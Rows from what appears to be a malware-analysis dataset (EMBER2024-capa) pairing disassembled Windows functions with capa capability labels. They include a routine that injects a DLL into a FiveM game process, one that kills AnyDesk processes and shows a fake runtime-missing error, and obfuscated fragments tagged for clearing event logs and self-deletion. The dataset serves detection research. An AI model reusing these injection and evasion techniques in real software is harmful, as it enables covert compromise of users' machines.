joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140016700
Capabilities:
Read file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov r9, qword [rcx + 0x40]
mov rsi, rdx
mov rbx, rcx
mov edx, 1
mov rcx, rsi
call sym.fread
mov edx, 0xffffffff
test rax, rax
jle 0x14001672c
movzx edx, byte [rsi + rax - 1]
mov dword [rbx + 0x48], edx
add rsp, 0x28
pop rbx
pop rsi
ret

Function at 0x140094cd0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x140094cf7
call rbp
cmp dword [rax], 4
jne 0x140094d14
mov rcx, qword [rdi]
call sym.fileno
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sym.read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x140094cf0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400acf60
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rax, qword [rcx + 8]
mov rdi, rcx
test rax, rax
je 0x1400acf88
mov rcx, qword [rcx]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov ebx, 4
lea rsi, [rsp + 0x2c]
nop dword [rax]
mov ecx, dword [rdi + 0x10]
mov r8d, ebx
mov rdx, rsi
call sym.read
test eax, eax
jle 0x1400acfd0
cdqe
add rsi, rax
sub rbx, rax
jne 0x1400acfa0
mov eax, dword [rsp + 0x2c]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp eax, 0xffffffff
jne 0x1400acfdc
call rbp
cmp dword [rax], 4
je 0x1400acfa0
lea rcx, str.random_device_could_not_be_read
call method.std.__throw_runtime_error_char_const_
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x1400ad3f0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rax, qword [rcx + 8]
mov rdi, rcx
test rax, rax
je 0x1400ad418
mov rcx, qword [rcx]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov ebx, 4
lea rsi, [rsp + 0x2c]
nop dword [rax]
mov ecx, dword [rdi + 0x10]
mov r8d, ebx
mov rdx, rsi
call sym.read
test eax, eax
jle 0x1400ad460
cdqe
add rsi, rax
sub rbx, rax
jne 0x1400ad430
mov eax, dword [rsp + 0x2c]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp eax, 0xffffffff
jne 0x1400ad46c
call rbp
cmp dword [rax], 4
je 0x1400ad430
lea rcx, str.random_device_could_not_be_read
call method.std.__throw_runtime_error_char_const_
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400011c0
Capabilities:
Create thread
Enumerate processes
Inject dll
Inject thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x290
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x280], rax
lea rdi, str.FiveM_b2060_GameProcess.exe
lea rsi, [0x140008c80]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000124d
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001244
mov rdx, qword [rdi]
lea rcx, [rsp + 0x6c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14000125b
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001220
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 8
cmp rdi, rsi
jl 0x1400011f2
jmp 0x14000131a
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140001311
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, rax
lea r8d, [rdx + 0x1e]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x1e
mov qword [rsp + 0x20], 0
mov rdx, rax
lea r8, str.C:WindowsSysWOW64d3dx9.dll
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.LoadLibraryA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], 0
xor r8d, r8d
mov r9, rax
mov dword [rsp + 0x28], 0
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140005fe0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140001340
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Enumerate processes
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Set console window title
Terminate process
Terminate process by name

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x568]
sub rsp, 0x640
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rbp + 0x500], rax
lea rdx, str.anydesk.exe
lea rcx, [rbp + 0x270]
call fcn.140005c40
nop
lea rdx, str.Anydesk.exe
lea rcx, [rbp + 0x290]
call fcn.140005c40
nop
lea rdx, str.ANYDESK.exe
lea rcx, [rbp + 0x2b0]
call fcn.140005c40
nop
lea rdx, str.anyDesk.exe
lea rcx, [rbp + 0x2d0]
call fcn.140005c40
nop
lea rbx, [rbp + 0x270]
nop dword [rax + rax]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001449
mov dword [rbp + 0x30], 0x238
lea rdx, [rbp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001440
nop dword [rax]
mov rdx, rbx
cmp qword [rbx + 0x18], 8
jb 0x14000141d
mov rdx, qword [rbx]
lea rcx, [rbp + 0x5c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov rcx, rdi
test eax, eax
je 0x140001b6b
lea rdx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001410
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 0x20
lea rax, [rbp + 0x2f0]
cmp rbx, rax
jne 0x1400013e0
lea r9, [0x140005bd0]
mov edi, 4
mov r8d, edi
lea edx, [rdi + 0x1c]
lea rcx, [rbp + 0x270]
call fcn.14000603c
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0xfa
mov edx, 0x64
mov r9d, 0x1f4
mov r8d, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_MoveWindow]
movups xmm0, xmmword [str.xLRXXSJ8A]
movups xmmword [rbp - 0x30], xmm0
movzx ecx, word [0x140008b48]
mov eax, 0x41
mov word [rbp - 0x30], ax
xor word [rbp - 0x2e], 0x3a
xor word [rbp - 0x2c], 0x3b
xor word [rbp - 0x2a], 0x3c
xor word [rbp - 0x28], 0x3d
xor word [rbp - 0x26], 0x3e
xor word [rbp - 0x24], 0x3f
xor word [rbp - 0x22], 0x40
xor cx, ax
mov word [rbp - 0x20], cx
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
lea edx, [rdi - 0x18]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowLongW]
bts eax, 0x13
mov r8d, eax
lea edx, [rdi - 0x18]
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongW]
lea r9d, [rdi - 2]
mov r8b, 0xd7
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x10
lea r8, str.ERROR
lea rdx, str.MSVRUNTIME.DLL_IS_MISSING__PLEASE_DOWNLOAD_C_REDIST_AND_RETRY.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x1400063b4
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x140006a44
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006a8e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006a8e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006a8e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006a8e
cmp dword [rcx + 0x84], 0xe
jbe 0x140006a8e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140006a90
xor al, al
add rsp, 0x28
ret

Function at 0x14000e490
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete

Disassembly:
jle 0x140004647
je fcn.1400efa8a
mov rcx, qword [rsp + 0x28]
and qword [rsp + 0x50], 0xffffffffbaa679bd
jne 0x1401135c2
js 0x1400f51a3
jns 0x140146dbc
Function at 0x140019688
Capabilities:
Terminate process

Disassembly:
adc eax, 0x59e4ea
call fcn.140023510
push rax
push rdx
pushfq
movabs rdx, 0xb01b6c826ca6dc08
call fcn.14002210e
setns byte [rsp + r10*2 + 0x7ed2e4d0]
cmp word [rsp + r10*2 + 0x7ed2e4c0], 0xe113
mov r10, qword [rsp + r10 + 0x3f697274]
ja 0x1400063c9
call fcn.140169c42

Function at 0x140021bc0
Capabilities:
Encode data using xor

Disassembly:
shl rbx, 0x8b
cmp ebx, 0xd095098e
jle 0x140023763
nop
or rbx, 0xfffffffff2bce034
mov qword [rsp + rbx*4 + 0x240c3f60], rbx
shl bx, 0xa1
movabs rdx, 0xfb128b082b1ea698
mov rdx, qword [rsp + 0x18]

Function at 0x140022dc1
Capabilities:
Delete file

Disassembly:
add qword [rsp + 8], 0xffffffffbfe70007
lea rcx, [rcx + rdx*8 - 0x12e0a4db]
test r12d, 0xfa0c6997
push r10
push r8
jae 0x140106ab5

Function at 0x140022de3
Capabilities:
Delete file

Disassembly:
jne 0x1400f1594
not ecx
jno 0x140146a89

Function at 0x1400232fb
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Terminate process

Disassembly:
lea rdi, [rdi + 0x47384c87]
cmp r15w, 0xce1d
movzx rbx, r15b
jge 0x14010e972
and r15b, r15b
and r15w, 0x618
add bl, 0x90
xchg qword [rsp + rbx - 0x88], rdi
mov rbx, qword [rsp + 0x38]
test r15b, 5
jns 0x140027bc6
xchg qword [rsp + 0x28], rbx
mov rbx, qword [rsp + 0x10]
mov rbx, qword [rbx]
setbe dil
neg dil
add di, di
lea rbx, [rbx + 0x3877e3f]
sub ecx, 0x792c7f34
mov qword [rsp + 0x10], rdi
shl qword [rsp + 0x10], 0xc2
jb fcn.1400cc2e4
add di, 0x539
ja 0x1400f8454
sbb esp, esi
push rbp
sahf
cmpsb byte [rsi], byte [rdi]
shr dword [rbp + 0x13], 1
xchg ecx, eax
or byte [rdi], 0x94
mov esp, 0xaf1e52c1
sbb eax, 0xed67ce8b
mov cl, 0x33
jno 0x14010e9ef
mov byte [rsi + rax*2 - 0x5a45733d], dh
movabs qword [0xdcd3d67c106f9986], rax
imul esi, dword [0x1711f5549], 0xffffffb6
shr ah, 0x26
add bl, byte [rdx + rbx*2 + 0x1469900d]
cmp ecx, dword [rbp + 0x3f453b60]
xor ah, 0xd6
xchg edi, eax
xchg ebp, eax
jmp 0x188d1e710
invalid

Function at 0x140023462
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Terminate process

Disassembly:
mov r11, r10
add r11, 0x7f97a835
neg r11w
lea rdi, [rdi + 1]
call fcn.1400eaae2
push rdx
push r13
movabs r13, 0x501f161b2ab5cda6
pushfq
add r13, 0x3c9b2e17
je 0x1400e899f
shl r13d, 0xf6
call fcn.140019950
push r9
movabs r9, 0x3031440f921e5e95
pushfq
shl r9b, 0xf
mov r9b, 9
xchg qword [rsp + 0x18], rax
not r9
jne 0x1400d918d
je 0x1400c28d5
sub r9d, r9d
and r9w, r9w
push r15
mov r15, r9
call fcn.14010abb3
movabs r15, 0xe389e3079935bd0f
bswap r15
call fcn.14018d207
jno 0x140015f9e
push r11
neg r10
mov rdi, qword [rsp + 0x20]
not r10w
jne 0x140023207
invalid
Function at 0x1400d4195
Capabilities:
Encode data using xor

Disassembly:
lea r8, [r8*2 - 0x5e5dbaf4]
mov r8, qword [rsp + 0x40]
sets byte [rsp + 0x48]
and al, 0x48
ja 0x14018f9e2
scasb al, byte [rdi]
movsb byte [rdi], byte [rsi]
xor bh, bl
int1
pop rsi
add esi, dword [rsi - 0x72996447]
mov edi, 0xdcd54654
movabs eax, dword [0xaef98b405e41e8f6]
sti
jp 0x1400d41a5
sbb eax, esi
adc dword [rdi - 0x80], edx
out 0xb5, al
leave
in al, dx
out dx, eax
idiv dword [rbx - 0x19d050b4]
push rbx
outsb dx, byte [rsi]
in eax, dx
invalid
cmp word [rsp + 0x48], 0xdfbb
jle 0x140022192
add byte [rsp + 0x48], 0xa
call fcn.1401be665

Function at 0x1400d5f5d
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Terminate process

Disassembly:
sub r14d, r14d
sub r14b, 0xa5
cmp r14w, 0xfabf
call fcn.140153d0c
hlt
test r10d, r14d
mov r14, qword [rsp + 0x28]
movzx r10, r10w
jge 0x1400f8f27
add qword [rsp + r10 - 0x52f7], 0xffffffffbffca970
call fcn.140126698
jbe 0x1400d5f5b
cmp dh, byte [rax]
out 0x17, al
test byte [rcx], dh
loopne 0x1400d5f11
invalid

Function at 0x1400f04d5
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Terminate process

Disassembly:
mov rsi, qword [rsp]
mov rsi, qword [rsi]
mov qword [rsp], r15
neg r15d
xor qword [rsp + r15 - 0x2b640ac2], 0xfffffffff21e763b
shr byte [rsp + r15*2 - 0x56c81584], 0xcd
js 0x14016b62e
jns 0x1400d2018
neg cx
lea rax, [rax + 1]
call fcn.140139929
hlt
mov rcx, qword [rsp + 0x50]
add r11d, 0x5899489f
movzx r11w, r11b
test r11, r11
not r11b
call fcn.14001ac65
int3
lea r11, [rcx + rcx*2 - 0x1f51276e]
js 0x1400bc5b7
jns 0x1400358c0
ret
not byte [rsp + 0x48]
xor byte [rsp + 0x30], 0x18
not word [rsp + 0x30]
push qword [rsp + 0x60]
popfq
lea rsp, [rsp + 0x78]
ret
test dword [rsp + r15 - 0x2b640ac2], 0xc3373da5
ja 0x1401bb45d
jae 0x1400bde95
movsx r15w, r15b
sub r15b, 0x80
mov qword [rsp + r15 - 0x40], rsi
add r15b, r15b
neg r15
jl 0x140194bbb
shl r15, 0x93
add qword [rsp], 0xfffffffffff7f025
xor r15w, r15w
mov rsi, r15
xor r15d, 0xd49bf53e
mov sil, 0x90
sub si, r15w
jbe 0x14001c915
neg dword [r8]
adc eax, 0x34644165
ret
add qword [rsp], 0xe0706
movabs rsi, 0x2b9792a27105f5a6
add qword [rsp + 0x10], 0x742f5
mov r14, qword [rsp + 8]
mov rsi, qword [rsp]
lea rsp, [rsp + 0x10]
ret 8
jge 0x1400b280f
push rcx
call fcn.14001b25d
lea rsi, [rsi - 0x6e48e46e]
shl byte [rsp + r15*2 - 0x56c81584], 0x8c
bswap r15d
shr r15w, 0x2f
neg qword [rsp]
neg r15w
xchg qword [rsp + 0x38], rsi
mov r15, qword [rsp + 0x28]
call fcn.14018d6bb

Function at 0x1400f2808
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Terminate process

Disassembly:
push r11
pushfq
movabs r8, 0x1c0627b531b8de13
movabs r11, 0x4ba6383d698e6e12
movzx r8, r8w
add qword [rsp + 0x10], 0xfffffffffffde768
push r12
mov r12, r8
and r8w, 0xa18d
bswap r8
call fcn.1400aba9c
Function at 0x14010abb3
Capabilities:
Encode data using xor

Disassembly:
shl r9, 0xee
cmp r15b, r9b
lea r15, [r15 + r9*4 + 0x3a17e224]
lea r9, [r15 + r15 + 0x642dc513]
mov r9b, 0xb9
add qword [rsp], 0xfffffffffff55272
cmp r15, 0xfffffffff5847e3d
push rbp
setl r9b
jb 0x14018419c
push rdi
jae 0x1400c632d
sbb byte [rdx - 0x33333334], dl
int3
outsb dx, byte [rsi]
mov esi, 0xfe0d2ed6
mov esi, 0x659eb666
lodsd eax, dword [rsi]
pop rsi
int 0x35
push rsi
out 0xde, al
cmc
in eax, 0x48
xchg qword [rsp + 0x20], rax
pushfq
and r15d, 0x6b15d400
movabs rcx, 0xfe2620165d80671d
jne 0x140015e22
mov dword [rsp + 8], 0x126fce4f
or r9w, 0x8220
mov qword [rsp + 0x20], rax
js 0x14000f1f0
pop rcx
sub bh, byte [rsi - 0x57]
int1
jle 0x14010ab59
mov ecx, 0xc9ee7641
add dword [rsi - 0x32], eax
cmc
stc
out 0xe5, al
shr edx, 0x76
jge 0x14010ac3e
fmulp st(5)
fnstcw word [rdx - 0x65f60a22]
outsb dx, byte [rsi]
jno 0x14010abfa
cmp sil, byte [rbp - 0x5e]
mov al, 0x29
add al, 0x37
jg 0x14010ac54
call 0xf838155b
invalid
jns 0x14010ab8e
jg 0x14010ac6b
xchg esi, eax
push rbp
enter 0xffffffffffffef10, 0xffffffffffffffe7
sbb al, 0x87
push rsp
cld
in eax, dx
push rcx
and ebp, dword [rsi + rcx*8 - 0x1f]
sbb dword [rbx + 0x6d], esi
in eax, dx
xchg esi, eax
mov bl, 0x41
fidivr dword [r15 + rsi - 0x3e]
invalid
add byte [rcx - 0x3ba154e0], 0x90
and eax, 0x77375a7b
mov al, 0xe5
pop rbx
xor ch, ch
sub al, 0xa1
loopne 0x14010abf6
out 0xf2, eax
int3
int3
xchg dword [rcx + 0x5be58caf], ebp
xor ch, byte [0x1729f2bc9]
cmp eax, 0xe0d6c109
mov cl, 0xcc
in al, 0x5b
xor ch, byte [rbp - 0x611eaf26]
and dword [rax + 0x505b242a], eax
pop rdx
sub al, 0xc7
shl byte [0x146229d7d], 1
jb 0x14010ac7e
int3
lahf
in eax, dx
jl 0x14010acca
mov bl, 0xb7
cmp esp, eax
invalid
int 7
cmp byte [rax + 0x10], cl
invalid

Function at 0x140115e68
Capabilities:
Encode data using xor

Disassembly:
mov rdx, qword [rsp + rdx + 0x20]
xor word [rsp + 0x30], 0xab91
jg 0x14019d80b
add dword [rsp + 0x30], 0x3b0ae29
shr qword [rsp + 0x30], 0x62
call fcn.14012ee77

Function at 0x1401174fc
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Terminate process

Disassembly:
push r8
pushfq
movabs r8, 0x16205d8f8e9e7dbf
mov rdi, qword [rsp + 0x20]
sub r8b, 0xb1
mov r8d, 0x480f2e23
sub r8, r8
sete r8b
mov r8b, 0x2b
jl 0x1400eb25a
push r8
lea rdi, [rdi + r8*2 - 0x55]
ja 0x1400f285c
push r9
add dword [rsp + r8*2 - 0x4e], 0xba20d91a
movabs r9, 0xbb887d9d90812c80
or r8w, r9w

Function at 0x14011c2f5
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Terminate process

Disassembly:
mov rsi, qword [rsp + 0x20]
setns byte [rsp + 0x58]
and dword [rsp + 0x58], 0x6b887cb1
setns byte [rsp + 0x38]
test dword [rsp + 0x58], 0xfcb774a7
jl 0x1400bb4ae
Function at 0x14011eb92
Capabilities:
Encode data using xor

Disassembly:
mov r10, rdx
shr r10d, 0xef
xchg qword [rsp + r10*2 + 0x30], rbx
mov r10, qword [rsp + r10 + 8]
jb 0x1400d259d
xor byte [rsp + rdx*8 + 0x20], 0x8b
call fcn.140112742
cmp byte [rax], bh
cmpsd dword [rsi], dword [rdi]
inc byte [rbp + 0x2e]
jmp 0x162002539

Function at 0x1401393e8
Capabilities:
Packed with generic packer

Disassembly:
push r12
mov r12, r13
sub dword [rsp + 0x10], 0xb7b63dbe
cmp qword [rsp + 0x10], r12
add qword [rsp + 8], 0x1c73c
or r12, r13
or qword [rsp + 0x10], r12
jbe 0x1400e896f
jg 0x140022325

Function at 0x14014b461
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Terminate process

Disassembly:
add qword [rsp + 0x20], 0xc5bb3
mov r15d, 0xc3ae40bc
movabs rdi, 0x290bba974513a7b4
bswap rdi
shr dil, 0xa3
lea r15, [rdi + r15*4 - 0x7164894b]
shr r15d, 0x65
push r8
mov rdi, qword [rsp + 0x28]
mov rdi, qword [rdi + r15 - 0x1a87425]
mov qword [rsp + 0x28], r15
cmp r12w, word [rsp + r15*8 - 0xd43a0fc]
movabs r8, 0xa1805e355b1d6db8
jne 0x1400eb25f
lahf
pop rdx
invalid
Function at 0x140175224
Capabilities:
Query environment variable
Self delete

Disassembly:
add qword [rsp], 0xffffffffbffdd378
mov rdx, qword [rsp + 0x20]
mov rdx, qword [rdx]
mov qword [rsp + 0x20], rsi
lea rsi, [rsi + rsi*4 + 0x6f8e401b]
and sil, byte [rsp + 0x21]
lea rsi, [rsi + rsi - 0x7d540355]
add esi, 0x6f9bcaa3
push r11
lea rdx, [rdx + rsi - 0x77366ad2]
call fcn.140013145

Function at 0x140175264
Capabilities:
Query environment variable
Self delete

Disassembly:
shl di, 0x65
mov rdi, qword [rsp + 0x30]
xor qword [rsp + 0x20], 0xffffffffbd980a26
je 0x1400058b0
test qword [rsp + 0x20], 0xfffffffffe9ad8a7

Function at 0x140194c39
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Terminate process

Disassembly:
sub esi, ecx
push rsi
lea rdx, [rdx - 0x77f90351]
shr r14d, cl
xor r9, 0xffffffffed908822
neg r9
test r14d, ecx
call fcn.14001b530
sub r10, r8
neg r8d
shl r9, 0x49
and qword [rsp + 0x10], 0xffffffffb9ba4024
shl r8d, 0x1a
setne r8b
not r8d
mov r9, qword [rsp + 8]
ja 0x140125409
shr word [rsp + r8*8 - 0x1fffffe0], 0xb9
not r8
sete r8b
call fcn.140018920
movabs r8, 0x540f342e2ebed980
pushfq
neg r8d
call fcn.1400c93df
jne 0x1400139c0

Function at 0x140194c3f
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Terminate process

Disassembly:
call fcn.1400112e5
jne 0x1401c44b4
or r15d, r15d
jb 0x14002359b
neg r15w
shl r15d, 0x5f
neg r15d
mov r15, qword [rsp + r15*8 + 0x40]
push qword [rsp + 0x28]
popfq
lea rsp, [rsp + 0x48]
ret
cmovbe r9, r11
js 0x140027bc1
shr r9d, 0xc1
add r11d, 0xedb7a3bb
mov r9, qword [rsp + r9*8 - 0xb02638]
bswap r11d
ret

Function at 0x140195d70
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Terminate process

Disassembly:
add qword [rsp + 8], 0xdcb88
call fcn.140028d7a
Function at 0x140195d7e
Capabilities:
Access the windows event log
Clear windows event logs
Delete file
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Terminate process

Disassembly:
mov rcx, qword [rsp + 8]
setne byte [rsp]
sub byte [rsp], 0xa6
or qword [rsp], 0xffffffffd9afeb9e
call fcn.1400fbda7
adc dword [rsi], edx
invalid
xor r9, r9
mov r9, qword [rsp + r9*4 + 0x28]
mov word [rsp + 0x40], 0x7234
seta byte [rsp + 0x40]
xor qword [rsp + 0x40], 0xffffffffa297bf3d
jl 0x1400dac01
mov rsi, qword [rsp + 0x20]
sub bl, 0x39
and ebx, 0x7e21d626
push r9
mov r9, rbx
and bl, bh
lea rsi, [rsi + r9 - 0x6e015625]
xor bl, bh
or r9w, 0x80ab
jle 0x1400badc2
jb 0x14015be13
push r8
mov qword [rsp + rbx - 0x6e015620], rsi
bswap r9
mov r8, r9
push r9
or r9d, 0x26915b16
mov r9d, ebx
nop
movabs rsi, 0xd1fcda66c1a4ca8
movzx esi, word [rsp + rbx - 0x6e01564d]
shl r8, 0x76
mov rsi, rbx
add esi, r9d
setg byte [rsp]
push rbp
push rcx
mov rsi, qword [rsp + 0x30]
mov rsi, qword [rsi + r9 - 0x6e015650]
mov rbp, qword [rsp + r8 + 0x10]
xor byte [rsp + 0x10], 0x3a
mov qword [rsp + 0x30], rbp
push r13
call fcn.1400b5bc5
call fcn.1400276e6
test qword [rsp + 0x40], 0x328a6a18
not qword [rsp + 0x40]
jbe 0x14000d577
push qword [rsp + 0x38]
popfq
lea rsp, [rsp + 0x48]
ret 8
shl r13w, 0x1b
lea r13, [r13*4 - 0x60c0bb45]
jne 0x14001ae9d
setne r13b
xchg qword [rsp + 0x20], rdi
or r13, 0x1b821607
add qword [rsp + 8], 0xfffffffffff1ac66
or r13, 0xffffffff979aa00a
shr r13b, 0x58
xor r13, 0xffffffffef34e906
jne 0x140016b93
setl bl
sub sil, bl
and bl, bh
add qword [rsp + 0x18], 0xfffffffffff0cd3c
shr rbx, 0x67
movabs rdx, 0x231e22901f2aa1b2
cmp dl, dh
mov qword [rsp + 8], rbx
jo 0x140101e32
mov rdx, qword [rsp + 0x18]
mov rdx, qword [rdx]

Function at 0x140196345
Capabilities:
Access peb ldr_data
Access the windows event log
Clear windows event logs
Create process on windows
Delete file
Encode data using xor
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports
Self delete
Terminate process

Disassembly:
jns 0x1401253ca
push r13
mov r13, rsi
movabs r10, 0x40024686e38dc910
neg r10b
add qword [rsp + 8], 0x19ffbf
neg r10w
shl r10d, 0xfb
shl rsi, 0x88
not r13w
jbe 0x1400f283f
jae 0x140157786